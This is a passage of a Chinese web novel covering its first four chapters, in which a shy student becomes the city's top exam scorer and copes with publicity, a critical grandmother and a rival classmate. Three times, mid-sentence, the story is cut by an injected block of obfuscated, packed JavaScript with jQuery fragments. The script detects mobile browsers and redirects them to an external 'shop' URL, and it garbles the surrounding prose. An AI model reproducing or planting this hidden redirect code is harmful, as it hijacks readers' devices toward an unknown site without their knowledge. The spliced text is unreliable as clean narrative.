《缓冲溶液使用指北》 1. 得语文者得天下 所有的故事,都从东篱夏中考结束后那个燥热的夏天开始。 彼时的东篱夏尚不知道,自己的高中三年即将迎来一个怎样荒谬的起点。 今天是中考出成绩的日子。 一般来说,人面对这样的大事,前一晚上通常不会睡得很安心。 第二天也会早早地起来,象征性地做一点手头的事,实则心思都牵挂在查分系统什么时候才会打开上,密切监视着各种社交媒体的大道小道消息。 直到有消息说可以查分了,全家便立刻闪现到电脑前面拼命往系统里点,又因为网络拥堵被卡在外面,看着别人在朋友圈里或悲或喜晒成绩,一家人依旧面对着404干瞪眼。 东篱夏不一样,她初升高的补课班今天不放假,只破例默许了学生们带手机来。 她实在不明白,出分之前真的能有人听进去课吗? 出分之后,哭的哭,笑的笑,八卦的八卦,打听的打听,悲欢各不相同,吵闹却绝对真实。考得好和考得差的、喜欢打听的和不喜欢被打听的不当场打起来就不错了,还能上什么课? 江城特别流行私下补课,小升初就要补,初中要补,中考前要补一对一,中考后也要补高中课。老师有偷偷跑出来的在职教师,也有专门全职做课外补习的机构。 之所以说是“私下”,就是因为补课明面上不合法不合规,实际上却屡禁不止。补课地点往往都是流窜的,今天去废弃的宾馆里,明天去烂尾楼里面,和逃犯没什么两样。 东篱夏一直不知道这些补课班的“主理人”为什么那么神通广大,总能在教委来查之前提前收到消息,让补课老师戴好墨镜口罩从消防通道偷偷跑出去,然后迅速给学生们发一套卷子做,并且严肃勒令统一口径——大家是自愿在这里自习的。 违规补课?从来没有的事。 中考完,东篱夏也随着大流,跟江北实验十几个超优班的同学一起被爹妈打包塞进了补课班里,美其名曰为“学霸小班课”。 每天早上七点四十就要上课,数语外物化生全部都要补,连上二十天突击高中课程,上完还有十天刷题班,一周只休一天。 知识能往她们的脑子里进多少说不好,但钱一定是流水一样从家长们的银行卡里面往外淌,不算午饭晚饭,一天光学费就能花出去小一千块钱。 早上第一节课是语文,授课内容一个老头带他们读繁体字版本的史记,借此教重点实词和文言文基本语法,顺便反复强调“得语文者得天下”。 东篱夏一直觉得,教委要是真来了,面前这个老爷爷根本跑不动。但事实上他压根不用跑,因为他既不是在职教师,也不是机构老师,只是一个中文系的退休教授而已。 东篱夏一点也不想天天起这么大早花一百多块钱来聆听史记。 她觉得自己随便找个教辅书看看就能懂,再多做几篇题就能领悟得更好。 她跟爸妈在电话里反反复复说了,没必要费这个钱来补课,结果爸爸听都没听完,就说不是钱的问题,让东篱夏不要心疼钱,说什么爸妈只希望东篱夏在高中还能延续初中的优秀,从江城考去北京,和爸爸妈妈团聚。 东篱夏拗不过爹妈,只好接受他们一片苦心,天天早上七点就挣扎着起床,打车来这小黑班上课。 不过父母确实没在钱上亏待过她。 她跟爹妈说早上起不来,妈妈就让她不要坐公交,每天打车去,多睡几分钟算几分钟。 这个时候奶奶往往就该不乐意了,开始念叨她不知道父母在外挣钱不容易,成天当父母的钱是大风刮来的。 东篱夏只能骗奶奶,补课班改到了八点上,这样七点二十出门,坐半个多小时公交车也来得及。 一天六节课,还有一堆作业,东篱夏觉初升高的衔接课比初中任何一天都累。她实在撑不住,所以第一节语文课一般都半听不听,用来打盹。 但是今天不一样,今天是出分的日子,谁睡得着呢? 尽管这个早上东篱夏格外精神,但史记的内容仍然进不去她的脑子。 老教授还在讲台上精神矍铄、声如洪钟地讲着《廉颇蔺相如列传》,东篱夏托着腮帮子,偶尔讲到有用的实词才记两笔,隔三差五就瞟两眼就墙上的钟,祈祷着快点挨到出分的时候。 意外的是,刚过八点,教室门就被推开了。 进来的是补课班的主理人,一个发际线有点危险的中年男人,用不那么刻薄的话讲,应该叫行政老师。 行政老师面上堆了笑,歉意地对老教授哈了哈腰,目光在教室里逡巡了一圈,最终落在了东篱夏身上。 “东篱夏,你妈妈刚来电话,让你赶紧回江北实验一趟,你们班主任有急事找你。” 小小的教室里瞬间炸锅了。 “这时候叫回去干啥啊?” “我去,肯定是考得太好了吧!” “天,市状元是不是有戏了?” 窃窃私语从四面八方涌上来,旁边的苗时雨对她笑得灿烂,说肯定是好事情。 东篱夏没缓过神来,愣愣站起身,脸上没什么表情,心里却咯噔一下沉了下去。 她早就习惯了遇事从不往好处想。 考得好? 她压根没往那方面琢磨。 脑海里瞬间闪过的,是考号没涂卡,还是名字写错了地方,或者自己无意间在答题卡上划了一道,被当成了问题卷,以至于成绩离谱到惊动了班主任,要把自己叫来紧急复核? 行政老师跟在她身后,往电梯口走,絮絮叨叨:“你家长呢?这么大事,他们不来接你吗?” 东篱夏脚步没停,很平静地答道,“我爸妈在外地工作,我算半个留守儿童。” 说完,她一个人走进了电梯,面带微笑说了再见,没再理会行政老师脸上那点错愕的同情,满脑子都是自己的中考到底是哪里出了岔子。 她拦了辆出租车,开到江北实验门口时,还不到八点半,校园里静悄悄的。她几乎是跑到了教师办公室,深吸一口气,敲了敲门。 “是篱夏来了吗,快进来!”是班主任的声音,透着不同寻常的热情。 东篱夏忽然觉得迎接她的不一定是什么坏事。 推开门,好家伙,阵仗真不小啊。办公室里过年一样,不止班主任,年级主任和校长都在,所有人的目光齐刷刷地投向她,脸上是如出一辙的灿烂笑容。 “篱夏,快来!”老师几步上前,搂过她的肩膀,格外亲昵,“恭喜你啊!你是咱们江城今年的中考状元!打了535分!” “啊?”东篱夏彻底宕机,脑子里一片空白。 中考语数外物化,数学语文每科120分,英语、物理、化学每科一百分,满分540,她打了535,是这个意思吗? 她觉得自己大概是还没睡醒。 “看这孩子,高兴傻了!”校长笑呵呵地递过来一张打印好的表格,“你看,教委那边刚发出来的总分市排名,第一名,东篱夏,江北实验中学。白纸黑字写着的!” 数学120,物理100,化学100,英语作文扣了一分,打99,语文竟然考了116? 东篱夏觉得自己好像在做梦。 东篱夏的目光顺着这张单子机械地往下扫,终于在第五名的位置看到了那个熟悉的条件反射地想叹气的名字—— 第五名,韩慎谦,江北实验中学。 数学120,物理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957775|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 100,化学100,英语也是99,只不过语文只有111,正好530分。 有的时候她甚至会怀疑,自己能和韩慎谦这尊大佛分到一个班,就是她奶奶为了防止她骄傲专门派来治她的。 她考班级第二名,韩慎谦就考班级第一名;她拼了命学习,考到学年第二名,韩慎谦就也跟着她一同进步,考学年第一名;她超常发挥模拟考考了全市第二名,本以为终于能考一次班级第一了,结果全市第一名还是韩慎谦。 既生瑜,何生亮啊! 平心而论,韩慎谦不骄矜、不傲慢,人如其名,脾气好没架子,是个很谦逊平和的人。东篱夏是一个老好人,班里谁都能和她说上两句话,本可以和同样好性子的韩慎谦成为朋友,但她还是一句话都不想和这位“别人家的孩子”多说。 她还从来没听说过,哪个周瑜会喜欢跟诸葛亮玩。 之前她的目标一直很明确,也就是考进江大附中的清北班。江大附中总共招一千人,二十个班,其中一班和二班是清北班,加在一起招一百人。 东篱夏的模考成绩基本稳定在全市前三十名,好的时候也能进全市前十,考进江大附中清北班毫无问题,所以她甚至没有像大多数人那样,在最后几个月往死里拼。 状元突然砸到了自己脑袋上,越发让她觉得自己是在做梦了。 班主任似乎发现了东篱夏在看什么,接话道,“慎谦可惜了,本来都以为他能考咱们江北实验的状元呢!” 得,这回不是做梦了。 我还站在这呢,好吗? 东篱夏在心里无声地反抗着。 班主任大概也意识到了自己说错话了,连忙找补道,“篱夏语文一直比慎谦好,我总说嘛,得语文者得天下,你看,中考就见真章了,咱们篱夏的优势一下子就凸显出来了!” 敬爱的老师,您平常可从来不是那么说的。东篱夏在心里暗暗地想。 她做不出来的数学题,韩慎谦解出来的时候,班主任就会说,咱们慎谦就是很聪明很有天赋啊! 韩慎谦解不出来的物理题,她解出来的时候,班主任就会说,果然女孩子就是细心,条件一个都不漏,全能用上! 虽然说韩慎谦做不出来的题能被她做出来的时候少之又少,但班主任这话又是多荒谬呢。难道韩慎谦做不出来,是因为他大眼漏神看不见条件,而自己小眼聚光吗? 分明是自己的眼睛更大一些,好吧。 “篱夏同学啊,”校长的声音把她拉回现实,“虽然榜眼和探花都是他们江南一中的,但状元可出在了咱们江北实验啊!这段时间可能会有一些采访,学校也会做一些宣传,你要好好配合……” 后面的话,东篱夏听得断断续续。她只知道自己在笑,在点头,在反反复复地说“谢谢老师,谢谢校长,我明白了”。 可是她已经开始害怕了。 她知道接下来会发生什么——更多的目光,更高的期待,以及一旦她表现不如预期,那些必然到来的议论。 虽然中考考了状元,但明显后劲不足啊。 什么状元,也不过是昙花一现而已嘛。 东篱夏忽然意识到,原来一直考第二名也挺好的,起码她初中三年除了憋着一股“誓要超过韩慎谦”但未遂的劲以外,真没有过什么心理压力。中考能超常发挥,大概也是归功于她心态平和。 毕竟哪怕天塌下来,还有第一名韩慎谦在上面顶着呢。 办公室的窗户开着,热风吹进来,混合着老师们兴奋的说话声。她知道,从这个夏天开始,有些东西不一样了。 而她不确定,自己是否真的准备好了,去迎接命运这份慷慨到让她心生惶恐的馈赠。 2. 芒果王 校长叮嘱东篱夏先在走廊稍等,学校已经联系了本地媒体,下午要对她做个简单的采访并拍两张照片,让她好好想想,怎么感谢母校三年的培养。 东篱夏点头应下,走廊里空无一人,她找了个空教室钻进去,坐在椅子上,半个身子靠着墙,才终于觉得能喘口气。 手机在衣兜里震个不停,她摸出来,点开微信,置顶的家庭群里,是妈妈半个小时前发的消息:“夏夏,是分数出来了吗?老师突然叫回去,是不是考得特别好?” 然后是三个【坏笑】【坏笑】【坏笑】。 刚才在办公室里,消息太多太杂,甚至没来得及正式向父母汇报,现在在这个安静的角落,东篱夏终于有机会亲手敲下这个连她自己都不敢相信的事实。 手指有点不受控制地发抖,她在只有她、爸爸、妈妈的三人群里回复到:“我考了市状元。535分,现在回学校,等着下午被采访” 发送。 在信息送达的下一秒,两条消息几乎同时弹出。 虚怀若谷(AAA爸):啊??? 数据分析徐瑞敏(AAA妈):啊!!! 紧接着,屏幕上开始被各种眼花缭乱的庆祝表情包疯狂刷屏——放鞭炮的、撒花的、敲锣打鼓的、大红喜字…… 徐女士囤的所有过年用的表情包一股脑儿涌出来,瞬间刷了好几屏。东先生慢了一拍,也开始加入表情包大军,还发了几个中年男人爱用的闪亮金元宝。 有点好笑,又有点可爱。 过了没一会儿,东爸爸瞬间转了6666元过来,说是考状元的奖励,让她买点自己一直想要的东西,还忙不迭问她上了高中用不用新手机,用不用新电脑。 妈妈发了三个【偷笑】的表情,然后来了一句—— “夏夏,学校会不会也采访我们状元的家长啊,我和你爸用不用准备两句词,买今天下午回江城的票,以防万一?【偷笑】【偷笑】【偷笑】” 东篱夏实在拿爹妈有点没办法,飞快地敲击着屏幕,无奈地回复道:“没事【捂脸】你们安心工作,要是真打算采访你们,我就说跟学校说你们在北京,低调,低调【合十】” 虚怀若谷(AAA爸):当了状元的老爸,实在很难低调啊【呲牙】 数据分析徐瑞敏(AAA妈):夏夏,你这样的话,拿你们的话说,不是叫“凡尔赛”了嘛。人家一看,状元都不用父母管,纯靠自学,别人家长得多嫉妒啊【呲牙】 她几乎能想象出那个画面,爸妈对着镜头,笑嘻嘻地说什么“我们从她上小学四年级的时候就去北京工作了,孩子是爷爷奶奶在带,能考状元都是孩子自律,自己努力”,然后被传播出去,剪辑成视频号、某音,被所有认识、不认识的人看到、评论。 太恐怖了。 东篱夏象征性回了两个【捂脸】的表情,就放下了手机,走到空教室的窗户边上,看着楼下大街上疾驰而过的车发呆。 即使没有外界督促,也坚持努力了三年,命运终于好好奖励了她一次。 她是高兴的,考了状元,怎么可能不高兴? 可是她更害怕。 她很清楚自己是超常发挥。 116分的语文,有多少是扎实的积累,有多少是考场上灵光一现的运气,她自己都分不清。 她害怕爸爸妈妈真的因此跟亲朋好友到处夸耀,害怕所有认识的人看她的眼神里都会从此加上一层状元滤镜,害怕那些人期待她永远优秀,不容有失,害怕开学后新同学、新老师第一次见面时给她来一句“诶,你就是那个中考状元。” 就像经济舱的旅客,突然硬被人要求换座位,不等她拒绝,就被绑到头等舱。她再坐立不安,也已经动弹不得了,只能生生等着空姐来查票,等着空姐当着周围真正贵宾的面,把她撵回到经济舱去。 没等东篱夏再多矫情一会儿,江北实验约的记者就已经到了,流程比她想象中还要正式。 面对着摄像机镜头和采访提纲上学习方法分享之类的问题,东篱夏努力措辞,全都归功于学校的引领、老师的培养,尽量让自己显得谨慎又周全,不要显露出一丝一毫的骄傲来。 她心里有点纳闷:教育局不是早就明令禁止宣传状元了吗?怎么学校还这么大张旗鼓? 直到学校终于把她放走,她在下楼过程中点开微信,才明白了几分。 各个家长群、补课群、甚至是一些本地资讯公众号,都在疯传她下午接受采访的片段。转发最火、评论最热闹的,是江北实验中学家长大群里,不知是哪位高人编撰的一条信息: 【江城丰收季,硕果飘香!喜报:江北实验果园,捷报频传!今年全市芒果王,535g,出在我园!530g以上的特优芒果全市仅5枚,我园独占2枚!520g以上优质芒果多达67枚!优果率高达87.3%,力压江南第七果园,仅次于江南第一果园!感谢辛勤园丁,祝愿我园所有小芒果继续茁壮成长,共赴秋实!】 下面跟着一长串的【祝贺】【祝贺】【祝贺】,以及“老师辛苦了”、“孩子们太棒了”的列阵歌颂。 东篱夏看着“芒果王”这个称呼,先是觉得荒谬绝伦,随后又忍不住有点想笑。 在她记忆里,我国历史里上一个芒果王,还是被蓄意丑化了的朱元璋。 她顺手翻了翻,果然,朋友圈里也流传着江南第七橘子园和江南第一西瓜园格式雷同、只是有水果品类和具体数据不同的喜报。 江城重点初中呈三足鼎立格局,俗称“南一七北实验”,也就是江南一中、江南七中、江北实验这三所王牌初中,几乎垄断了全市最好高中——江大附中的清北班录取名额。 三所学校从小学就开始通过面试招生的方式掐尖,因为爷爷奶奶家在江北,所以东篱夏小学时就以考进江北实验为目标,如愿成为了江北实验芒果园里的一颗小芒果。 到了中考放榜,即使明令禁止宣传状元,这三所学校也坚持以这种隐晦的方式一较高下。 东篱夏逃也似地离开了学校,伸手拦了辆出租车,上车后,她正看着手机出神,开车的司机师傅从后视镜看了她几眼,主动搭话:“小姑娘,刚从江北实验出来?是刚查完中考成绩吧?” 东篱夏从手机屏幕上抬起头,有点腼腆地点点头:“嗯,是。” “考得怎么样啊?江北实验是咱们江北最好的学校了,肯定差不了吧!”司机师傅语气热情。 “运气比较好,考了535分。” 东篱夏声音很轻,明显还是有点不习惯自己报出这个数字。 狭小的车厢内出现了短暂的寂静。 “多少?!”司机师傅似乎不满足于从后视镜里偷偷瞄她,直接回头看了她一眼,眼神里满是难以置信,“535?满分是不是540?天老爷,你就是那个芒果王啊!市状元,是不是?” 被称呼为“芒果王”实在是一件过于令人尴尬的事,东篱夏耳根发烫,局促地嗯了一声,希望话题就此打住,但显然只是一个开始。 司机师傅的兴奋劲儿上来了,一边熟练地打着方向盘,一边迫不及待地掏出手机,按着微信聊天框,声音激动:“哎,媳妇儿,你猜我今天拉了个谁?今年中考的市状元,就在我车上!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957776|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东篱夏只能低头装作看手机。 “对对,就是江北实验那个考了535的姑娘!” “哎呀,谁骗你了!” “你让我拍个照是吧……不行,人家姑娘害羞呢,我就跟你说说,太厉害了!” 发完一连串语音,司机师傅心满意足地把手机放回支架,话题立刻转向东篱夏:“小姑娘,你跟叔叔说说,你到底是怎么学的?是不是得天天学到后半夜?早上几点起?” “没、没有……”东篱夏连忙摇头,手里都快把书包带捻出褶子来了,“我一般十一点前就睡了,早上六点四十起。” 她说的是实话,初三最后阶段,自己反而调整了作息,不想透支身体。 “哎哟,那你这效率太高了!”师傅啧啧称奇,“是不是得上好多补习班?请的都是特级教师吧?你爸妈是不是特别懂教育,天天陪着你学?” “补课班确实上了一些。”东篱夏含糊道,想起那个流窜的补习班,心情复杂,“我爸妈他们在外地工作。” 她显然不太想深入这个话题。 “外地工作?那更了不起了!自觉,好孩子就是靠自觉!”师傅的赞叹更上一层楼,“那你肯定特别会安排时间,还是记忆力特别好,或者有什么诀窍刷题?” 东篱夏被这一连串的问题问得有些发懵。 她从来没有如此系统地去总结自己的方法,她的学习,更像是按部就班地跟着老师走,加上自己不算笨,愿意花时间琢磨,对每一道错题都比较认真而已,哪里有什么独门秘籍? 她想了又想,却觉得顶着状元这个名头,说什么都像是在卖弄。 “就……跟着老师节奏,多看看错题……”她的声音越来越小,脸越来越红,明显感到了自己的窘迫。 东篱夏觉得自己就像个冒牌的状元,根本答不出对方期待中的成功秘籍。 也就是这个时候,她突然意识到了一件事,原来这些问题,是韩慎谦一直以来都在承受的。 过去三年,作为常年稳居她前面的那个人,韩慎谦收到的关注、赞誉,甚至是此时此刻这种“拷问”,只会多,不会少。 而她,因为总是差那么一点,反而安全地躲缩在了第二名的阴影里,没有人会如此细致地探究她的学习方法、作息秘密、家庭环境。 大家只会说,“东篱夏也很优秀”,然后迅速把目光聚焦在第一名的韩慎谦身上。 “唉,我儿子和你是一届的,五百分都没打上,要是有你一半省心就好了。”司机显然没察觉她翻涌的思绪,自顾自地感慨,“你说你们这些小学霸,是不是都不玩手机不打游戏?心里就憋着一股劲儿要考最好?” “也偶尔玩的。”东篱夏小声辩解。 心里却想,韩慎谦玩不玩游戏呢?她好像从来没注意过。 大家对韩慎谦的印象,似乎天然就剥离了这些普通的消遣,而自己竟然也因为一次考试,被强行和韩慎谦一起,塞到了神龛里供着。 车子终于缓缓停在了小区门口。东篱夏暗暗松了口气,扫码、付钱、准备下车。 司机师傅却意犹未尽,“姑娘,啥也不说了,你是这个!” 他对着东篱夏竖起大拇指,“小学霸,高中继续加油!清华北大等着你呢!以后肯定有大出息!” “谢谢师傅……借您吉言。”东篱夏慌乱地道谢,几乎是立刻拉开车门逃了出去,重新站在夏日的热浪里,却觉得后背有点发凉。 东篱夏反复问自己,你配得上这样的关注吗?你能在被追问的时候回答出来他们希望听到的答案吗? 她心里更不踏实了。 3. 我命由我不由天 推开家门,香其酱的香气扑面而来,爷爷正端着热气腾腾的大勺从厨房走出来,看见她回来了,笑着点了点头。 “回来啦?快洗手,吃饭!咱们夏夏就是出息,爷爷给你炖三道鳞吃!” 爷爷一直是个不太爱说话的人,做三道鳞是他唯一表达情绪的方式。她考得好,爷爷就做一顿三道鳞当鼓励;考得不好,依旧是一顿三道鳞当安慰,仿佛天底下没什么事是大到一顿红烧三道鳞解决不了的。 “好。”东篱夏应了一声,心头的惶恐被冲淡了不少。 奶奶正从里屋走出来,手里拿着手机,脸上也带着笑,“哟,状元回来了?刚才你爸妈电话都打爆了,跟我们说你考了全市第一名,高兴得不得了。我跟他们说,这才哪儿到哪儿,高中才是见真章的时候。” 果然,来了。 熟悉的开场,先扬后抑,她早就习惯了。 老太太走到餐桌边,看了一眼那锅鱼,“你爷爷一听你考得好,非要去市场买最新鲜的鱼,拦都拦不住。” 东篱夏轻声答道,“谢谢爷爷奶奶。” “谢什么,快坐下吃。”爷爷招呼着,夹起了鱼脸蛋上最嫩的那块活肉,放到东篱夏碗里,“趁热吃,补脑子。” 奶奶也坐了下来,却没有动筷子,开始了今天的饭前演讲:“夏夏,考了状元,爷爷奶奶也替你高兴。但是,” 这个“但是”一出,东篱夏的心跟着一沉,手里刚拿起的筷子顿住了,下意识地把筷子连同爷爷给夹的那块鱼肉一起轻轻放下。 “你自己心里一定要有数,这才是中考,题目有难有易,你有多少是实力,有多少是运气,要分清楚。” 又来了,运气。 奶奶总是这样,迫不及待地要把任何一点超出她预期的好,归功于偶然。好像东篱夏自身的努力和积累永远不足以支撑起一个像样的成绩,只要肯定两句,尾巴就一定会翘到天上去。 爷爷皱了皱眉,低声道:“先让孩子吃饭。” 东篱夏心里涌起一点微弱的希望,随即又明白希望注定会落空——爷爷的沉默是用来维持家里的风平浪静的,但从来不足够扭转奶奶那过于强大的意志。 在这个家里,奶奶的意志就是最高的指示,从车间退休下来的爷爷在中药研究所当惯了领导的奶奶面前,早已习惯了退让。 而东篱夏能做的,只有听着。 “吃饭也不耽误说话。”奶奶置若罔闻,“你们班那个小男孩,叫什么来的,对,韩慎谦。我听说那孩子这次语文是没发挥好,才比你低了五分。” 比较,无休止的比较。东篱夏真的不明白,奶奶就不能有一次,哪怕只有一次不提他吗? 她考得好,是别人“没发挥好”;她若有任何不如意,那便是“果然不如人家”。 “那个小男孩数理化一直比你稳,脑子也活泛,到了高中,课程深了,进度快了,那才是真正拼脑子拼耐力的时候。你这个状元,现在听着风光,到时候被人甩下去老远,多尴尬?” “老伴。”爷爷忍不住又想打断。 奶奶仍旧置若罔闻。“我不是打击你,是提醒你。现在有多少双眼睛看着你?以前的同学,以后的老师,还有那些不认识的家长。你要是觉得考了个状元就了不起了,松懈了,掉下来了,那笑话可就大了。到时候,没人会记得你中考多少分,只会笑话你没后劲。” 东篱夏盯着碗里爷爷夹的那块鱼肉,她却忽然觉得喉头发紧,有点吃不下去。 为什么?为什么每次有一点高兴的事,最后都要变成这样? 她终于很轻地点了点头,习惯性地顺从了下去,“我知道了,我暑假也会更努力的。” 除了这样说,她还能说什么呢? 争论只会让这顿饭彻底吃不成,让爷爷为难,让自己更难堪。认下,服软,保证会更努力,是唯一能尽快结束这场饭前演讲的方式。 奶奶这才似乎满意了些,语气缓和下来,拿起筷子:“知道就好,以后别怪我没给你打预防针就行。快吃吧,你爷爷忙活了一下午。” 爷爷又默默夹了一筷子鱼肚肉放到她碗里,东篱夏埋头吃着,混合着奶奶那些话一起咽下去,她第一次觉得自己最爱吃的红烧三道鳞食之无味。 最让她感到无力的,是她内心深处竟然有一部分,可悲地认同着奶奶的话——她也觉得自己早晚会没后劲,早晚会被人发现自己的真实实力是几斤几两,真的不配待在最高的位置上。 这顿饭终究吃不出庆功宴的滋味了。 补课班停了几天课,东篱夏这几天偶尔按要求回学校做采访,剩下更多时间还是一个人在消化高中的课程。 很快就到了回学校报志愿的日子。 东篱夏刚一推开教室的门,只觉得焦虑、纠结、对未来不确定性的恐惧,混合着夏天闷热的湿气,已经要在教室里发酵了,原本还算宽敞的教室挤满了家长和学生,人声鼎沸。 她看见几个同学的家长围着班主任,眼圈红着,正低声说着什么,更多的家长眉头紧锁地聚在一起,争论、询问、叹气。 “老师,您看这个分数线到底会怎么划?我家这个分,就卡在线上一点点,唉!” “到底是报二中的重点班,还是冲一冲江大附中的普通班?万一滑档了怎么办?” “孩子想去好学校,可我怕他跟不上,心理落差大,还不如在次一点的学校当尖子生。” 东篱夏甚至觉得有些窒息。 高考之后,她和她的父母也会面对一样的痛苦吗? 她小心地绕过人群,尽量降低自己的存在感,在角落里随便找个座位坐下,甚至有点神经质地担心,会不会有某个处于崩溃边缘的家长,看到她这个轻松稳坐钓鱼台的状元,突然将积压的焦虑爆发出来,指着她大骂“都是你们这些人把分数线抬高了”之类的话。 东篱夏的父母没来,远在北京的工作让他们无法脱身,她也没让爷爷奶奶跟着折腾,老人年纪大了,受不了这样的闹腾。 对她而言,志愿填报是一件很简单的事,只需要填一个江大附中就好了,至于清北班,中考成绩前列者自动入围,更不需要纠结。 就在她准备起身去交表时,班主任的手机响了,班主任看了一眼来电显示,表情立刻严肃起来,“喂,校长好!” 不知道电话那头说了些什么,班主任的目光在教室里扫了一圈,最后落到了她的脸上:“是,是,她在,就在教室。好的,好的,我马上让她过去!” 挂断电话,班主任的声音里莫名其妙带着一种与有荣焉:“篱夏,先别交表,快去校长室一趟!江大附中的沈婕副校长要见你!” 一句话,东篱夏瞬间成了教室里的焦点。 她甚至听到附近一位父亲压着嗓子,恨铁不成钢地对她垂头丧气的同学说:“看见没?这就是榜样!人家怎么学的?你哪怕有人家一半省心……” 那个男生头垂得更低了,东篱夏见状,匆匆拿起表格,快步逃出了教室。 她突然特别理解那个被训斥的同学。 他一定在这一刻很讨厌自己吧? 就像自己一直以来,无论如何也喜欢不起来总是被所有人拿来作比较的韩慎谦一样。 别人家的孩子,终于也是轮到她来当了。 校长室里空调开得很足,江大附中的副校长沈婕是个矮个子的中年女人,梳着一头干练的齐肩短,穿着西装套裙,一打眼就知道,是那种很典型的女强人。 “篱夏?来来,坐。”沈校长远比她想象的和气许多,亲手拉过一把椅子让她坐下,甚至还轻轻拍了拍她的手背,“这么重要的日子,怎么爸爸妈妈没一起来?” 东篱夏拘谨地坐下,如实回答道,“他们在北京工作,比较忙,我平常和爷爷奶奶住,他们年纪大了,我就没让他们跟着来。” “哦?”沈校长似乎有点惊讶,顺着话头问,笑容亲切,“父母都在北京啊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957777|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做什么工作的?” “爸爸在一家单位负责国际贸易的业务,妈妈在互联网公司做数据分析。”东篱夏如实答道。 沈校长点了点头,笑容加深了些,“难怪,父母都是高素质人才,工作忙,说明事业也成功。你成绩这么突出,自驱力一定非常强。高中阶段,我们就需要你这样有自觉性、有潜力的好苗子。” 几句话,东篱夏觉得,人家能当上副校长必然自有其过人之处。 几句话,既肯定了她的家庭背景,又抬高了她本人,让人听着舒服,期许也传达了,却又不至于给她太大的压力。 接着,沈校长话锋一转,依旧是笑眯眯的,却抛出了一个让她有点措手不及的问题:“篱夏,到了新环境,有没有特别想和谁一个班?或者说,初中里有没有特别要好的同学,分数也够上我们清北班,希望高中还能继续同窗、互相促进的?” 东篱夏立刻明白了沈婕的潜台词。 其实就是暗中进行了一个摸底,有意愿将优质生源进行强强联合的配置,把尖子生适当集中,形成更具竞争力的核心小圈子。 可能是名校常见的操作吧,东篱夏想着。 她想继续同窗的朋友? 细想起来,在超优班里面,她和大多数人都能礼貌地说上几句话,讨论题目,分享零食,但深交的几乎没有。 她其实不知道大多数人考的怎么样,只知道苗时雨和沈天歌也考进了全市前二十。 她们是少数能在数理化上和韩慎谦打得有来有回的存在,只是苗时雨英语短板,沈天歌状态起伏,中考总分才略逊于她。 东篱夏欣赏她们,但也仅止于欣赏,远没到非要同班不可的程度。 如果沈校长真的把被她点名的人和她分到一个班,算不算一定程度上介入他人因果? 除了“不要轻易介入他人因果”,东篱夏还听过一句颇为知名的国漫台词,叫“我命由我不由天”。 对咯,我命由我不由天。过了这个村,就不再有可以供她逆天改命的店了。 “沈校长,我没有特别想和谁一个班。”东篱夏停顿了一下,深吸了一口气,到底说了出来。 “但是,如果可以的话,我不想和韩慎谦同学一个班。” 说完,她自己都愣了一下。 这个要求是如此孩子气,又是如此不合时宜。 可她就是说了。 她受够了初中三年无休止地被老师、被奶奶、甚至被自己拿来和韩慎谦比较。 她知道韩慎谦本人对她并无恶意,甚至是个很好的人,但那种永远差一点的阴影,已经快让她对韩慎谦这个人形成了一种条件反射的抗拒。她只是单纯又强烈地希望,在新的环境里,能暂时逃离“韩慎谦”这个名字的辐射范围。 哪怕只是自欺欺人。 沈婕显然有些意外。 她看着眼前这个文静秀气又看上去有点执拗的女生,迅速权衡着。 尖子生之间有点小竞争、小情绪,她见多了,再正常不过,有时甚至能转化为动力。只要不造成太大影响,这种无伤大雅的个人意愿,满足一下也无妨,还能显得学校尊重学生个性。 于是,沈婕脸上的惊讶很快化为理解的微笑,点了点头:“好,这个情况我了解了。学校在分班时会综合考虑很多因素的,你放心吧。” 没有明确承诺,但话里的意味已经给了东篱夏一颗定心丸。 沈婕又鼓励了东篱夏几句,无非是“高中是新的起点”、“保持这个势头,清华北大乃至省状元都有可能”之类的殷切期望,便让她离开了。 走出凉快得甚至有点冷的校长室,重新踏入人声鼎沸的走廊里,东篱夏终于舒了一口气。 她提出了一个任性的要求,并且似乎被应允了。 所以她可以彻底解脱了吗? 好像并没有。 她小小的反抗,在庞大的命运和过多的期许面前,显得如此微不足道。 4. 司马昭之心! 志愿填报尘埃落定,假期连轴转的补课仍旧继续着,小黑班流窜到了新的烂尾楼里。再次踏进小黑班的临时教室时,东篱夏能够清晰地感觉到,空气里有些东西已经不一样了。 只要她走动,同学们的目光就会齐刷刷对准她,不再是之前那种“同是天涯补课人”的默契,里面掺杂了太多别的东西,比如好奇地打探,小心翼翼地掂量,甚至还有一些她说不清道不明的疏离。 